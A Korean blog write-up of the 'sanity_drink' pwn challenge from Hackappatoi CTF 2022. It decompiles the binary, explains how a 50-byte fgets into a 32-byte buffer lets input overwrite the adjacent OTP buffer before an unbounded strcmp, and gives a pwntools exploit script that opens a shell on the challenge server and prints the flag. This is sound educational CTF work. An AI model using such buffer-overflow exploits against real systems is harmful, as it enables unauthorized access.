728x90
반응형
1. intro
2. code 및 분석
2.1. code
int __cdecl main(int argc, const char **argv, const char **envp)
{
char user_password[32]; // [rsp+0h] [rbp-50h] BYREF
char otp_password[32]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("------------------------------------------------------------");
puts("---------------[ Pwners Secret Club Access ]----------------");
puts("------------------------------------------------------------");
memset(user_password, 0, sizeof(user_password));
memset(otp_password, 0, sizeof(otp_password));
generate_otp(otp_password, 32);
printf("Enter password: ");
fgets(user_password, 50, _bss_start);
user_password[strcspn(user_password, "\n")] = 0;
if ( !user_password[0] )
{
puts("Invalid input...");
exit(1);
}
if ( !strcmp(user_password, otp_password) )
{
puts("Authenticated!");
system("/bin/sh");
}
else
{
puts("Authentication failed...");
}
return v7 - __readfsqword(0x28u);
}
void __fastcall generate_otp(char *buffer, int len)
{
int i; // [rsp+10h] [rbp-10h]
int bytes_read; // [rsp+14h] [rbp-Ch]
FILE *fp; // [rsp+18h] [rbp-8h]
fp = fopen("/dev/urandom", "r");
bytes_read = fread(buffer, 1uLL, len, fp);
fclose(fp);
if ( bytes_read != len )
exit(1);
for ( i = 0; i < len; ++i )
buffer[i] = (unsigned __int8)buffer[i] % 0x1Au + 65;
buffer[len - 1] = 0;
}
2.2. 분석
ida로 이정도로 뽑아낼 수 있는게 신기했다.
generate_otp 함수가 있긴 하지만, urandom 값을 가지고 오기에 사실상 보지 않아도 무관하다고 판단했다.
간단히, 삽입된 값과 otp_password 값이 같으면 셀을 실행해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
user_password와 otp_password 값이 각각 32 bytes로 할당되었으나 user_password 값을 50 bytes 입력 받음으로써 buffer overflow가 발생한다.
또한 strcmp에서 비교할 크기를 지정해주지 않기 때문에 비교 크기를 임의 조정할 수 있다.
3.2. 공격 준비
stack에 값이 어떻게 삽입되는지 보았다.
0x00007ffe68c35ae0│+0x0000: 0x0000000000000a61 ("a\n"?) ← $rax, $rsp
0x00007ffe68c35ae8│+0x0008: 0x0000000000000000
0x00007ffe68c35af0│+0x0010: 0x0000000000000000
0x00007ffe68c35af8│+0x0018: 0x0000000000000000
0x00007ffe68c35b00│+0x0020: "FJVNSTIOYZKGHKKHNIUKAUMCPKQIMYO"
0x00007ffe68c35b08│+0x0028: "YZKGHKKHNIUKAUMCPKQIMYO"
0x00007ffe68c35b10│+0x0030: "NIUKAUMCPKQIMYO"
0x00007ffe68c35b18│+0x0038: 0x004f594d49514b50 ("PKQIMYO"?)
보는 것과 같이 32 bytes 씩 할당되었다.
코드 및 취약점에서 보듯 strcmp로 비교하며, 크기가 정해져있지 않기 때문에 임의로 크기를 지정해버리면 된다.
아래와 같이 말이다.
0x00007ffcb95c6960│+0x0000: 0x0000000000000041 ("A"?) ← $rsp
0x00007ffcb95c6968│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007ffcb95c6970│+0x0010: "AAAAAAAAAAAAAAAAA"
0x00007ffcb95c6978│+0x0018: "AAAAAAAAA"
0x00007ffcb95c6980│+0x0020: 0x0000000000000041 ("A"?)
0x00007ffcb95c6988│+0x0028: 0x0000000000000000
0x00007ffcb95c6990│+0x0030: 0x4a53544248550000
0x00007ffcb95c6998│+0x0038: 0x00485754455a5348 ("HSZETWH"?)
4. exploit
from pwn import *
#p = process('./sanity_drink')
p = remote('hctf.hackappatoi.com', 10001)
totlen = 50
pay = b'A'
pay += b'\x00'*7
pay += b'A'*8*3
pay += b'A'
pay += b'\x00'*(totlen-len(pay))
p.recvuntil(b'------------------------------------------------------------')
p.recvuntil(b'------------------------------------------------------------')
p.sendline(pay)
p.interactive()
┌[WyV3rN]-(binary/)-
└> python3 b.py
[+] Opening connection to hctf.hackappatoi.com on port 10001: Done
[*] Switching to interactive mode
Enter password: Authenticated!
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
HCTF{Ev3rY_p\/Vn_st4r7_w17h_dr1nk5}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
idekCTK 2022 - Typop (0) | 2023.01.16 |
---|---|
IRIS CTF - ret2libm (0) | 2023.01.10 |
Hackappatoi CTF 2022 - [PWN] heap baby v2 (0) | 2022.12.11 |
Hackappatoi CTF 2022 - [PWN] Endless Queue (0) | 2022.12.10 |
Dreamhack CTF Season 2 Round #11 - [PWN] Cat Jump (0) | 2022.12.09 |